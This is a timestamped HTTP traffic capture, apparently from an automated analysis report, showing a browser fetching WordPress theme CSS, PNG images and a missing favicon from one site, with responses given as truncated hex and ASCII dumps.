Jun 10, 2024 00:38:19.121272087 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 15526 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/css Data Raw: 68 74 6d 6c 20 7b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 35 3b 0d 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 31 30 30 25 3b 0d 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 31 30 30 25 0d 0a 7d 0d 0a 62 6f 64 79 20 7b 0d 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 0d 0a 7d 0d 0a 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 7d 0d 0a 68 31 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 2e 36 37 65 6d 20 30 0d 0a 7d 0d 0a 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 6d 61 69 6e 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 7d 0d 0a 66 69 67 75 72 65 20 7b 0d 0a 09 6d 61 72 67 69 6e 3a 20 31 65 6d 20 34 30 70 78 0d 0a 7d 0d 0a 68 72 20 7b 0d 0a 09 62 6f 78 2d [TRUNCATED] Data Ascii: html {line-height: 1.15;-ms-text-size-adjust: 100%;-webkit-text-size-adjust: 100%}body {height: 100%;margin: 0}article, aside, footer, header, nav, section {display: block}h1 {font-size: 2em;margin: .67em 0}figcaption, figure, main {display: block}figure {margin: 1em 40px}hr {box-sizing: content-box;height: 0;overflow: visible}pre {font-family: monospace, monospace;font-size: 1em}a {background-color: transparent;-webkit-text-decoration-skip: objects}abbr[title] {border-bottom: none;text-decoration: underline;text-decoration: underline dotted}b, strong {font-weight: inherit}b, strong {font-weight: bolder}code, kbd, samp {font-family: monospace, monospace;font-size: 1em}dfn {font-style: italic}mark {background-color: #ff0;color: #000}small {font-size: 80%}sub, sup {font-size: 75%;line-height: 0;position: relative;vertical-al

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:18.889810085 CEST	424	OUT	GET /wp-content/themes/musuem/images/logo.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://aimsvn.za.com/wp-content/themes/musuem/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:19.125570059 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 3331 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e2 00 00 00 30 08 06 00 00 00 0c e6 a6 f3 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 0c bd 49 44 41 54 78 01 ed 9c 3d 77 1b b9 15 86 47 b6 7a d3 bf c0 4c ca 34 66 4e d2 6b 5c 64 53 9a ee b3 c7 a3 5f 60 fa ab 8d a8 da 1f d2 fe 02 8f 72 d2 9b ee b2 95 c9 7e cf 46 aa dc 65 a9 5f b0 52 5a 7f 30 cf 4b 03 5c 0c 06 43 42 12 87 de 8d 31 e7 8c 81 7b 71 71 2f e6 05 5e 7c 0c 47 de fa 6f ff f7 b3 ac 85 0b a7 3f de 18 fd e7 4f 72 fd f7 ef b3 1f b6 b6 b2 79 7e dd a1 f6 ff 92 5d cb b6 b2 56 9e 61 dd 6d 4d fe 12 02 4d 08 5c 6b 2a 48 fa 84 40 42 60 73 08 24 22 6e 0e eb 14 29 21 d0 88 40 22 62 23 34 a9 20 21 b0 39 04 12 11 37 87 75 8a 94 10 68 44 20 11 b1 11 9a 54 90 10 d8 1c 02 89 88 9b c3 3a 45 4a 08 34 22 b0 dd 58 92 0a 12 02 09 81 95 08 3c 7c f8 70 67 6b 6b 2b b7 86 e4 cf 3e 7e fc f8 e6 f0 f0 70 6a 75 31 69 22 62 0c 4a c9 26 21 e0 21 f0 e8 d1 a3 3d 54 03 88 d7 f1 8a b2 6b d7 ae dd 44 37 f4 f5 cb e4 af 96 88 4f 9e 3c c9 3f 7d fa b4 d3 00 ce e9 cb 97 2f cb [TRUNCATED] Data Ascii: PNGIHDR0sRGBIDATx=wGzL4fNk\dS_`r~Fe_RZ0K\CB1{qq/^\|Go?Ory~]VamMM\kH@B`s$"n)!@"b#4 !97uhD T:EJ4"X<\|pgkk+>~pju1i"bJ&!!=TkD7O<?}/(`0!C'?e~l6_x1rmR$\|ElWKDHf Y0R>{-o.,E/_eMQ@Qw sp59lW)Pq ]B)/MGg]V5$<Eb9>LYAkZkb]N%>}4a4!S.td<8AH+/r_!qt:qfR:KW_T5>0!hqrbND\XR,2uXQbwQgXF~ikZEUAVI!]MmR~kVCnVB#W.\yI326c2J.,g5O1s4V2fKObf\;w\|F>F>6_zPdU<wVV?q?&O>lSupp59C_fJM={v,]Y_n?UFv<$ADp.:$r =pCk3nv~TGd!l
Jun 10, 2024 00:38:19.125622988 CEST	1236	IN	Data Raw: 57 b2 b8 90 73 09 90 34 e3 b9 76 dd 8f 14 9a e2 f1 ac c7 d8 bf c6 6f ee fa db de de 9e e0 6a 2a 7f f6 ba 48 7c 7e 7f 1b 11 f3 e1 2a 1c 45 40 48 7f c0 5d 89 6f 63 ea 99 d4 2e f5 13 cf 93 5b bd 9f aa cf c0 73 0f db c2 2f 93 2c 3f 4a 89 23 5f 53 e4 Data Ascii: Ws4vojH\|~E@H]oc.[s/,?J#_S!#e&Vxa3n,fuotrKfA#}vWO\|vU0*~!}>wuz&lSr"Y5B(,\=>=sukh_?6ES2=~"#
Jun 10, 2024 00:38:19.125659943 CEST	424	IN	Data Raw: 5a 17 62 68 75 0c 12 52 b8 53 fe ca 99 10 83 4d 5b 55 ee 56 c2 67 d7 95 95 67 22 de c8 33 2b 56 22 a2 50 58 72 99 97 11 a7 ae 09 9d 76 5f b7 ab 63 60 5c f8 c3 66 b7 7e 44 7e 1a b0 c9 03 ba 4d aa 6e c7 06 63 92 ea f9 b6 60 78 ec eb 24 8b 00 5a 1d Data Ascii: ZbhuRSM[UVgg"3+V"PXrv_c`\f~D~Mnc`x$Zyi/jB(oZLk&vkQ%"F`(=Y{\|qa;\|zI"2hPh8N<K:6Dt#fv96^_.@D-l*oBr"+
Jun 10, 2024 00:38:19.125689030 CEST	678	IN	Data Raw: e7 9e 18 f5 a5 13 7d 21 43 fc 93 50 7c 88 a4 58 25 03 ed d8 06 c0 ae 4f be e0 ee 58 9d 49 f5 59 de d0 d3 e9 53 b3 9f f0 33 42 af bf 5d 5c 9c b9 cd df 3d 1e 78 f6 3a 27 2e 62 89 d4 b4 6d 88 ce b7 eb 81 83 fe fc aa 86 0d 98 08 cb ae ef 17 fd d0 d7 Data Ascii: }!CP\|X%OXIYS3B]\=x:'.bm]RS2fG[nOd}R(4".B\s]WV^?n3C55~ybiP>d,h0W&`2!<wa[u;sIwPs*\|Y;y z9A4)l

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:18.901763916 CEST	423	OUT	GET /wp-content/themes/musuem/images/pdf.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://aimsvn.za.com/wp-content/themes/musuem/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:19.694706917 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 6830 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 1a 37 49 44 41 54 78 da ed 9d 4b 8c 1d d5 99 c7 bf 6a df 5b e9 17 a6 ed 7b bb 1d 26 9d 09 dd 12 56 36 b6 a3 04 e3 6e 70 33 02 9b 95 2d 99 c5 20 24 9c 71 46 1a c5 30 93 61 81 17 03 12 61 36 79 0c d9 98 01 bf 8d b2 18 90 e3 0c 91 26 44 83 67 c3 23 1b 90 bd b1 15 e3 cd c4 08 3b 11 e6 61 43 83 e3 71 f7 35 ed a6 6b 16 b7 ab bb 6e d5 a9 aa 53 55 e7 54 9d ef 9e ff 4f 6a f0 ad 5b f7 d4 77 ea d6 ff 7f de e7 3a 9e e7 11 00 c0 4e 7a aa 0e 00 00 50 1d 30 00 00 2c 06 06 00 80 c5 c0 00 00 b0 18 18 00 00 16 03 03 00 c0 62 60 00 00 58 0c 0c 00 00 8b 81 01 00 60 31 30 00 00 2c 06 06 00 80 c5 c0 00 00 b0 18 18 00 00 16 03 03 00 c0 62 60 00 00 58 0c 0c 00 00 8b a9 55 1d 40 1e 8e 1f 3f 2e dc c5 44 66 73 93 e5 53 e2 cf f5 a2 27 27 9c [TRUNCATED] Data Ascii: PNGIHDR\rf cHRMz&u0`:pQ<bKGD7IDATxKj[{&V6np3- $qF0aa6y&Dg#;aCq5knSUTOj[w:NzP0,b`X`10,b`XU@?.DfsS''yI'qs^9u~qnnp?\uPz&>E)Ozzz?kq#;0`YjaAS\HF#""dY:O/@C)fI<;o90 BI&`4\|19zoEPhRPql18$vqqj64555Vwg=:TJv\6%)H(_'_>fs]&jU]?2-rsU7T0_p<4"\|SCL@=Q(,^S`?@f1xw6~F7{\zBd;.F& 3\TqFcq9\|&A<{L 3, 1a!(`- FASK&px<pDd.W~g]hj0Yd4dK F`Y`j\7SQ{_fAS\
Jun 10, 2024 00:38:19.694765091 CEST	1236	IN	Data Raw: 0f 90 07 7f 53 11 d7 75 cf 1c 84 09 24 02 03 00 12 54 d3 79 10 ee 10 5c 8a 46 c2 1c 9a cd 06 6d de 0c 13 48 a3 4b 0c c0 93 3c 06 4c 47 24 f8 20 b2 fd 02 ed fd 04 1a b4 f9 9e 7b c6 5c b7 7e e6 e0 a1 43 43 55 e7 cd 44 ba c4 00 88 da 82 0f fe 99 4a Data Ascii: Su$Ty\FmHK<LG$ {\~CCUDJuU8LAY<oxh.L@@$k&4M{A@.!Myj6tcu=s&K[MvM`ru3<#x)mU~n#!8uv&t
Jun 10, 2024 00:38:19.694797993 CEST	1236	IN	Data Raw: 0d 51 ad 56 a3 b9 b9 2f 03 d1 94 84 02 03 30 ae 65 2a 13 77 d5 01 f0 c3 13 fc 4b c7 65 8a a6 2e 2f 66 d5 65 7b 9e e1 3f 9f c1 c1 41 ba 71 a3 46 37 6f de d4 74 7f e5 95 9e e5 fa f5 1a 4f 29 f1 8c ba 32 74 89 bf b8 04 8b 97 fe 8b e9 88 32 a6 b9 fa Data Ascii: QV/0e*wKe./fe{?AqF7otO)2t2jRx?.l_P.lJ/RP"`faxV)NIm}Mq++57fI/W9<@%R_v05)\|"}yBAeXZ?GUo92K
Jun 10, 2024 00:38:19.694833994 CEST	1236	IN	Data Raw: 5c fa 5e 01 73 c1 9e 80 92 97 f3 ff 1c 27 a9 aa 2f d1 31 47 ed 09 30 1f 3c fd f7 b9 d7 b6 cf 5d ba 48 1f fe fc f1 ce 85 31 19 c4 ff f1 de 7f c9 bd fa 6e a1 35 43 9f 3c f7 14 dd d4 b0 2e 3f 1b 28 e6 55 80 1a 40 0c 1d bf 3a e8 c8 9d 29 d3 b3 bf d0 Data Ascii: \^s'/1G0<]H1n5C<.?(U@:)Oc/-f:zTo7G~B=/Kcc]lyZ3tOg\P?eHo#%hv}Gg%cxQ\|Nr8VC[<N
Jun 10, 2024 00:38:19.694865942 CEST	848	IN	Data Raw: 41 99 98 21 3b 9e 1d 7f 41 78 1a 40 95 14 db 74 80 88 da 1b 78 04 c5 17 27 7c ff 72 44 f1 fb f0 f5 f4 0d d0 e0 e4 d6 c8 f1 60 72 71 0b 7f 3e 7d 29 ba 37 61 da f3 3c 7b f6 64 ec b6 dd ca 61 26 2e 8e 33 01 61 00 69 14 df 69 24 82 bf 25 f8 97 1f bc Data Ascii: A!;Ax@tx'\|rD`rq>})7a<{da&.3aii$%(\|rOKr"eb+VD>;w"}r2L-8TL@gX!Z3'u;\|'p>wtc]MHt>?'vNO_^KWt)VEMS354Xovqk+
Jun 10, 2024 00:38:19.694931984 CEST	1236	IN	Data Raw: 4f 04 03 50 4e da c0 84 55 c2 4f 39 c5 ac bc 98 1d 95 2e 78 1a 80 41 df 51 59 23 91 06 65 59 2e 22 96 e3 fc c5 aa fe 66 e6 29 19 9e 06 50 21 32 82 57 d9 37 69 e6 43 05 f1 77 0b 30 80 04 b2 94 ee aa 07 24 cc 7d f8 ba 51 fc 7c e3 2c 0a 0c 80 f2 55 Data Ascii: OPNUO9.xAQY#eY."f)P!2W7iCw0$}Q\|,Ue?ib,U"!?ssK.cN>ggyE<4?Kr`k1^5 &=y>LoQ!m?&(0ps}!Jx@Zw>(jJ
Jun 10, 2024 00:38:19.694960117 CEST	45	IN	Data Raw: 0c 00 00 8b 81 01 00 60 31 30 00 00 2c 06 06 00 80 c5 c0 00 00 b0 98 ff 07 2b bc f4 40 5a 7e e9 03 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: `10,+@Z~IENDB`

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:18.902436018 CEST	430	OUT	GET /wp-content/themes/musuem/images/logo_strip.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://aimsvn.za.com/wp-content/themes/musuem/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:19.701723099 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 7541 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 70 00 00 00 60 08 06 00 00 00 9d 5a 4f 11 00 00 00 04 67 41 4d 41 00 00 b1 8e 7c fb 51 93 00 00 00 20 63 48 52 4d 00 00 87 0f 00 00 8c 0f 00 00 fd 52 00 00 81 40 00 00 7d 79 00 00 e9 8b 00 00 3c e5 00 00 19 cc 73 3c 85 77 00 00 0a 39 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 48 c7 9d 96 77 54 54 d7 16 87 cf bd 77 7a a1 cd 30 02 52 86 de bb c0 00 d2 7b 93 5e 45 61 98 19 60 28 03 0e 33 34 b1 21 a2 02 11 45 44 9a 22 48 50 c4 80 d1 50 24 56 44 b1 10 14 54 b0 07 24 08 28 31 18 45 54 2c 6f 46 d6 8b ae ac bc f7 f2 f2 fb e3 ac 6f ed b3 f7 b9 fb ec bd cf 5a 17 00 92 a7 2f 97 97 06 4b 01 90 ca 13 f0 83 3c 9c e9 11 91 51 74 ec 00 80 01 1e 60 80 29 00 4c 56 46 ba 5f b0 7b 08 10 c9 cb cd 85 9e 21 72 02 5f 04 01 f0 7a 58 bc 02 70 d3 d0 33 80 4e 07 ff 9f a4 59 e9 7c 81 e8 98 00 11 9b b3 39 19 2c 11 17 88 38 25 4b 90 2e b6 cf 8a 98 1a 97 2c 66 18 25 66 be 28 41 11 cb 89 39 61 91 0d 3e fb 2c b2 a3 98 d9 a9 3c b6 88 c5 39 [TRUNCATED] Data Ascii: PNGIHDRp`ZOgAMA\|Q cHRMR@}y<s<w9iCCPPhotoshop ICC profileHwTTwz0R{^Ea`(34!ED"HPP$VDT$(1ET,oFoZ/K<Qt`)LVF_{!r_zXp3NY\|9,8%K.,f%f(A9a>,<9SbL!G3,F0+7T3IlpX"61"H_qW,drIKst.Adp&+g]RY2EE44432PuoJEzg`j--b8oM</AqVV2Og$>]9La.+-%Mg3YuAxEKi<:Pcu@~( ]o0 ~ys7g%9%(3H@C`-pnVH@A1jPA3hA'8Kn`Lg`a!2D!H dAPBByfz:@]h~LCUpp%;56<?"GxGiE>&2 oQEGlQPUFFuzQ7QcYG4Gt]nB/o'1
Jun 10, 2024 00:38:19.701750994 CEST	212	IN	Data Raw: c2 78 62 22 31 49 98 b5 98 12 cc 3e 4c 1b e6 1c 66 10 33 8e 99 c3 62 b1 f2 58 7d ac 1d d6 1f cb c4 0a b0 85 d8 2a ec 51 ec 59 ec 10 76 02 fb 06 47 c4 a9 e0 cc 70 ee b8 28 1c 0f 97 8f ab c0 1d c1 9d c1 0d e1 26 71 0b 78 29 bc 26 de 06 ef 8f 67 e3 Data Ascii: xb"1I>Lf3bX}*QYvGp(&qx)&gsF\|7:~@&h!$&B%pH$D.q#xx8F\|K!\H$!i.%L";r3EHK-AFCbH$^RSIrdd3R
Jun 10, 2024 00:38:19.701884031 CEST	1236	IN	Data Raw: 78 29 2d 29 17 29 a6 d4 7a a9 1a a9 93 52 23 52 73 d2 14 69 53 69 7f e9 54 e9 12 e9 23 d2 57 a4 a7 64 b0 32 5a 32 6e 32 6c 99 02 99 83 32 17 64 c6 29 08 45 9d e2 42 61 51 36 53 1a 29 17 29 13 54 0c 55 9b ea 45 4d a2 16 53 bf a3 0e 50 67 65 65 64 Data Ascii: x)-))zR#RsiSiT#Wd2Z2n2l2d)EBaQ6S))TUEMSPgeedf!4--VJ;N[ig%K-s{'OwO%)P_RREK/+))U<8TtAiF\\|FyZbU)W9.Kw+YUEUOU
Jun 10, 2024 00:38:19.701936007 CEST	1236	IN	Data Raw: ba f4 0c e1 4c c1 99 4f 67 73 cf ce 9d 4b 3f 37 73 3e e1 fc 78 4f 4c cf fd 0b 11 17 6e f5 06 f6 0e 5c f4 b9 78 f9 92 fb a5 0b 7d 4e 7d 67 2f db 5d 3e 75 c5 e6 ca c9 ab 8c ab 9d d7 2c af 75 f4 5b f4 b7 ff 64 f1 53 fb 80 e5 40 c7 75 ab eb 5d 37 ac Data Ascii: LOgsK?7s>xOLn\x}N}g/]>u,u[dS@u]7ot.<30tKn]p;;SwSyoEV<R\|m\??K/'TLL6OMvtgf~s6bvK^<jGS_/s
Jun 10, 2024 00:38:19.701981068 CEST	1236	IN	Data Raw: c1 0b 4b 39 4d 8e 0d 11 de b6 c8 a4 12 de 02 f8 ab 6b 45 bf 04 00 f6 86 00 07 a0 67 ec 08 cc f5 42 49 ae 5a 1a ce b2 36 e8 56 36 e0 4e 8d 0f 7b 6b a8 d6 eb 4d bf 14 00 ba 47 80 03 d0 33 2d b7 a5 e5 b5 a2 4e 4c 8e f9 25 03 66 cb 1d 23 ce c2 19 ff Data Ascii: K9MkEgBIZ6V6N{kMG3-NL%f#bv-?~}{@3sVtzvm&AurwS*}=j7jT}[B_/ 71J/0@OemKK{?}QRQJ0nN8&B'f{]b
Jun 10, 2024 00:38:19.702013969 CEST	636	IN	Data Raw: b4 b4 bf cf 96 5a ee d1 fb ec 00 0e 16 01 0e 40 d7 f2 c5 92 32 c9 43 58 75 c1 32 d9 26 10 8d 79 ad 6b 81 70 d4 2f ec 60 43 90 17 84 b6 49 7f 47 40 22 11 53 b9 ca 68 54 00 97 47 80 03 d0 b5 72 b5 a1 4c da 4e 86 76 48 36 5b a8 8e 5d 43 55 4b 69 13 Data Ascii: Z@2CXu2&ykp/`CIG@"ShTGrLNvH6[]CUKi#8\(irptZtDFs@FH8]5J&=MpROXTpb[BGOEM@n2pt\v-=j@Wl[0H/
Jun 10, 2024 00:38:19.702045918 CEST	1236	IN	Data Raw: fd 8e b2 f7 7e be 7d c1 31 6c a5 2a 95 6b 1a ca a4 fc 23 00 d8 1e 01 0e 40 d7 86 d2 49 15 cb fd 0a 70 ed d5 56 5b 55 b3 ad 99 4a 2a 3d ad ec 47 ee d3 e4 d3 2d 65 3e fc 39 85 4e bd a4 7d d9 31 64 ef 7d 6b 34 5d 05 19 c0 00 e0 0a a8 25 00 ec 49 38 Data Ascii: ~}1lk#@IpV[UJ=G-e>9N}1d}k4]%I8RzU7d+^?yXc)O.NjMxE\qKofe>GU?gGMgc~czl&pf)6zwO[_NKj[{Sw4VF#
Jun 10, 2024 00:38:19.702079058 CEST	756	IN	Data Raw: a0 e7 6c f7 e0 89 c9 51 ef 26 7d b4 b9 6e 4b cf 9d 5b d2 8b 4e 4c 5c 0c ba 00 b0 57 04 38 00 7d 91 4a c6 94 88 47 75 7e 31 e7 97 5c 9d 36 6f b9 9b 3b b7 ac 99 f1 61 85 c3 07 3d d9 31 80 e3 88 00 07 a0 6f ec f2 50 b1 68 44 f3 17 56 fd 92 ab 4d cb Data Ascii: lQ&}nK[NL\W8}JGu~1\6o;a=1oPhDVM%fLrFU\^jd(9rIgo/y,-pLXrn]RtvjfLX/!8PZ[~frDnlteKU-qCX8
Jun 10, 2024 00:38:20.099157095 CEST	422	OUT	GET /wp-content/themes/musuem/images/bg.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://aimsvn.za.com/wp-content/themes/musuem/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:20.330924034 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:20 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 452896 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 17 00 00 06 8f 08 06 00 00 00 b9 5b 38 b3 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 00 21 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 32 30 32 30 3a 31 30 3a 32 36 20 31 38 3a 31 30 3a 34 30 0b 2b a0 38 00 00 ff 78 49 44 41 54 78 5e ec fd cb 92 f4 48 d3 a4 89 7d f5 f5 6d f7 82 b7 c6 05 17 b3 e0 82 22 5c 50 84 94 11 92 32 c2 d3 c8 70 ba a7 fb 3f 2c a6 ab c6 54 d5 cc dc fc 00 04 22 33 df 63 d9 13 80 9b 9a 9a 03 70 38 10 91 f9 56 44 54 fe f1 bf ff bf fd a7 bf fe db 5f ff f8 c7 ff fa e7 3f fe f1 df 4c fc af 7f 8e f5 bf f9 ca da 5f 7f fd e3 4f d3 b6 d0 fb f3 1f 7f 98 fe eb 1f 7f 51 ff 83 3e 40 30 db 56 19 8c 7f fc 41 8f cd 1f 0a 4d d3 34 4d d3 fc 06 d8 cf 78 fb d1 7e 66 2a 94 7e 26 a4 c3 91 11 99 18 86 c2 94 28 8c c6 a9 7a 60 43 6c 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a df [TRUNCATED] Data Ascii: PNGIHDR[8sRGBgAMAapHYse!tEXtCreation Time2020:10:26 18:10:40+8xIDATx^H}m"\P2p?,T"3cp8VDT_?L_OQ>@0VAM4Mx~f~&(z`Cliiiiiiiiii~BDsh`@r%\/KEK]!Vzii_rc/[/5XOniiiiiiiiii_XSH;[D""ww\|_"E#\|9$d+AE&B EAg4M4<b2_\DESaS,4M4M4M4M4M4M4M4M4M4M4/?q s&"Om/r4RQ\|_,/YT_r5\|~\|(ii_re[Hl,Q)4F,/p=_y?)Z~Z\|Y4M4M4M4M4M4M4MFDV?zt\|(de }H_e"\|_./}/E!1.iMKFZ&ErW-DDS{5ppa\|_f><x\|Snvl_Uxxl?s=
Jun 10, 2024 00:38:20.330959082 CEST	212	IN	Data Raw: c5 fa 79 d8 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 fc 60 c6 27 74 c7 97 8b 00 54 a4 a1 f9 e5 22 d7 fa 92 51 f9 72 d1 ff f9 ff f5 5f fe d2 17 87 fe c1 2f 13 f1 2f 17 59 ce 2f 1a c1 43 8d 5a 39 be 23 44 6d 3b e1 17 8b b8 ca Data Ascii: y4M4M4M4M4M4M4M`'tT"Qr_//Y/CZ9#Dm;L_*~NiiV\/.`ho6"<&dSU~/;7/<w\|x\|M~FkB-?k~j}gM4M4M4M4M
Jun 10, 2024 00:38:20.331012964 CEST	1236	IN	Data Raw: 34 4d d3 34 4d d3 34 cd 37 e4 f4 b6 74 78 f1 d1 59 06 6b f0 c9 5b 68 f8 5c 4d f3 0b 45 96 e4 97 8b fe 2f ff 1f 7c b9 48 7f 79 28 be 44 84 bf 54 84 2f 18 21 c7 97 82 f8 97 8b fe 31 be 44 84 3e 78 63 1f 35 6c 07 f0 c5 24 1e c1 50 3f 7d eb 09 7d 11 Data Ascii: 4M4M47txYk[h\ME/\|Hy(DT/!1D>xc5l$P?}}m\|fR4MV/!%VM,2kAm!Q^z_w=F+;~xxsigsG+w{iiiiiiiKx;75gwQ9E
Jun 10, 2024 00:38:20.331042051 CEST	212	IN	Data Raw: 3d 8b 9f d9 df 57 cd c5 ef 71 67 34 4f 79 e7 be 19 cf 91 7d ab ab d2 3b fb bf 22 ef c9 e5 e6 1c e9 5c f8 cc cb db 27 36 fd 2e 7c c5 7c 56 7e f6 f3 0d 3e 73 de bf ca 39 fe 0e 7c ea fe b4 8d cf db bf b3 d7 eb ab fd 2b ff da d3 f7 f0 af cb 5b cf 89 Data Ascii: =Wqg4Oy};"\'6.\|\|V~>s9\|+[\|x&,s7$.+~!4M4M4M4M4M4M4M4?xdq"4ZE/;/Q">8'<iXWoX
Jun 10, 2024 00:38:21.090091944 CEST	395	OUT	GET /favicon.ico HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://aimsvn.za.com/wp-content/themes/musuem/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:21.321954966 CEST	515	IN	HTTP/1.1 404 Not Found Date: Sun, 09 Jun 2024 22:38:21 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 